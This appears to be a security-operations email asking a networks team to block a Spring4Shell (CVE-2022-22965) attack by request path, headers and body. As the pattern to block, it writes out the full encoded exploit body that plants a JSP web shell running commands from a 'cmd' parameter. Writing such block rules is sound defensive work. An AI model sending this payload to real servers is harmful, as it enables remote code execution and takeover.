**From:** Telstra Security Operations

**To:** Networks Team (networks@email)

**Subject:** Create Firewall Rule for pattern in request **headers** and **clientRequestData**

—

**Body:**

Hello Networks Team,

We would like to request the creation of a firewall rule and provide you more information about the ongoing attack.

**Attack information**

The attack’s payload has been identified showing signs from a Spring4Shell vulnerability(CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+)

**Firewall rule parameters**

While adding the firewall rule to block the request consider the following pattern to identify the malicious payload:

1) Block incoming HTTP requests with clientRequestPath as **/tomcatwar.jsp**

2) Block incoming HTTP requests with the following headers:

headers = {"**suffix**":"**%>**//",

"**c1**":"**Runtime**",

"**c2**":"**<%**",

"**DNT**":"**1**",

"**Content-Type**":"**application/x-www-form-urlencoded**"

}

3) If feasible block incoming HTTP requests with data = "**class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=**"

The following researcher’s proof of concept payload showed the patterns in the attack <https://github.com/craig/SpringCore0day/blob/main/README.md>

For any questions or issues, don’t hesitate to reach out to us.

Kind regards,

Telstra Security Operations